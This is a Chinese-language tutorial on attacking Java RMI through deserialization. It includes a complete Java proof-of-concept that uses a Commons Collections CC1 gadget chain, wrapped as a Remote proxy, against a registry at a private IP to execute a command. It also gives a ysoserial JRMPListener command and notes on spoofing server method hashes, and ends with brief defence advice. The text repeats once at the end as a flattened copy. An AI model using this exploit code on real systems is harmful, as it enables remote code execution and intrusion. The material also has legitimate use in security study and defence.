RMI攻击
字数 1136 2025-08-11 21:26:18

RMI攻击原理与实战教学文档

一、RMI基础原理

1. RMI核心组件

  • Stub(存根):客户端代理,负责与服务器通信
  • Skeleton(骨架):服务器端代理,负责处理客户端请求
  • Registry(注册表):管理远程对象引用

2. RMI工作流程

  1. 服务端创建并注册远程对象:

    ServiceImpl service = new ServiceImpl();
    Naming.bind("rmi:127.0.0.1:1099/service", service);
    
  2. 客户端查找远程对象:

    ServiceInterface service = (ServiceInterface)Naming.lookup("rmi://127.0.0.1:1099/service");
    
  3. 调用远程方法:

    String rep = service.cxk("ctrl");
    
  4. 通信流程:

    • 客户端存根与服务器骨架通信
    • 骨架代理调用实际服务端方法
    • 骨架返回结果给存根
    • 存根返回结果给客户端

二、RMI攻击面分析

1. 反序列化入口点

  • Server端:Naming.bind时Registry对service反序列化
  • Client端
    • lookup时Registry对service反序列化
    • 接收返回结果时反序列化
  • 方法调用时
    • Server对参数反序列化
    • Client对结果反序列化

三、RMI攻击实战

1. 攻击Registry端

攻击原理

利用Naming.bind绑定恶意对象触发反序列化

技术要点

  • 需要将恶意对象强制转换为Remote类型
  • 使用代理将AnnotationInvocationHandler包装为Remote

POC代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

public class RmiCC1client {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
        Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(
            Remote.class.getClassLoader(),
            new Class[] { Remote.class},
            getpayload()
        ));
        Naming.rebind("rmi://192.168.0.103:1099/RemoteObject", proxyEvalObject);
    }

    public static InvocationHandler getpayload() throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "godown");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        
        Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler instance = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
        return instance;
    }
}

关键点说明

  1. 使用Remote.class.cast强制转换代理对象为Remote类型
  2. 通过Proxy.newProxyInstance创建代理对象
  3. 使用Commons Collections链构造反序列化payload
  4. 利用AnnotationInvocationHandler触发TransformedMap的转换

2. 使用JRMP攻击注册中心

攻击方法

使用ysoserial生成恶意注册中心:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"

触发条件

当server或client调用以下方法时触发:

  • bind()
  • lookup()
  • rebind()
  • unbind()
  • list()

3. 客户端攻击服务端

攻击原理

  • 利用远程方法参数的反序列化
  • 修改Method的hash值欺骗服务端

技术要点

  1. 服务端通过UnicastServerRef#dispatch处理请求
  2. hashToMethod_Map中查找Method的hash
  3. hash算法为SHA1
  4. 可通过以下方式利用:
    • 调试时修改Method
    • 修改字节码或流量中的method

四、防御建议

  1. 升级Java版本,修复已知反序列化漏洞
  2. 使用安全管理器限制反序列化
  3. 对RMI通信进行加密和认证
  4. 限制RMI端口的网络访问
  5. 使用白名单机制验证反序列化类

五、总结

RMI攻击主要利用其通信过程中的反序列化机制,通过构造恶意对象实现远程代码执行。攻击者可针对Registry、Server或Client进行攻击,防御关键在于控制反序列化过程和加强访问控制。

RMI攻击原理与实战教学文档 一、RMI基础原理 1. RMI核心组件 Stub(存根) :客户端代理,负责与服务器通信 Skeleton(骨架) :服务器端代理,负责处理客户端请求 Registry(注册表) :管理远程对象引用 2. RMI工作流程 服务端创建并注册远程对象: 客户端查找远程对象: 调用远程方法: 通信流程: 客户端存根与服务器骨架通信 骨架代理调用实际服务端方法 骨架返回结果给存根 存根返回结果给客户端 二、RMI攻击面分析 1. 反序列化入口点 Server端 :Naming.bind时Registry对service反序列化 Client端 : lookup时Registry对service反序列化 接收返回结果时反序列化 方法调用时 : Server对参数反序列化 Client对结果反序列化 三、RMI攻击实战 1. 攻击Registry端 攻击原理 利用Naming.bind绑定恶意对象触发反序列化 技术要点 需要将恶意对象强制转换为Remote类型 使用代理将AnnotationInvocationHandler包装为Remote POC代码 关键点说明 使用 Remote.class.cast 强制转换代理对象为Remote类型 通过 Proxy.newProxyInstance 创建代理对象 使用Commons Collections链构造反序列化payload 利用 AnnotationInvocationHandler 触发TransformedMap的转换 2. 使用JRMP攻击注册中心 攻击方法 使用ysoserial生成恶意注册中心: 触发条件 当server或client调用以下方法时触发: bind() lookup() rebind() unbind() list() 3. 客户端攻击服务端 攻击原理 利用远程方法参数的反序列化 修改Method的hash值欺骗服务端 技术要点 服务端通过 UnicastServerRef#dispatch 处理请求 在 hashToMethod_Map 中查找Method的hash hash算法为SHA1 可通过以下方式利用: 调试时修改Method 修改字节码或流量中的method 四、防御建议 升级Java版本,修复已知反序列化漏洞 使用安全管理器限制反序列化 对RMI通信进行加密和认证 限制RMI端口的网络访问 使用白名单机制验证反序列化类 五、总结 RMI攻击主要利用其通信过程中的反序列化机制,通过构造恶意对象实现远程代码执行。攻击者可针对Registry、Server或Client进行攻击,防御关键在于控制反序列化过程和加强访问控制。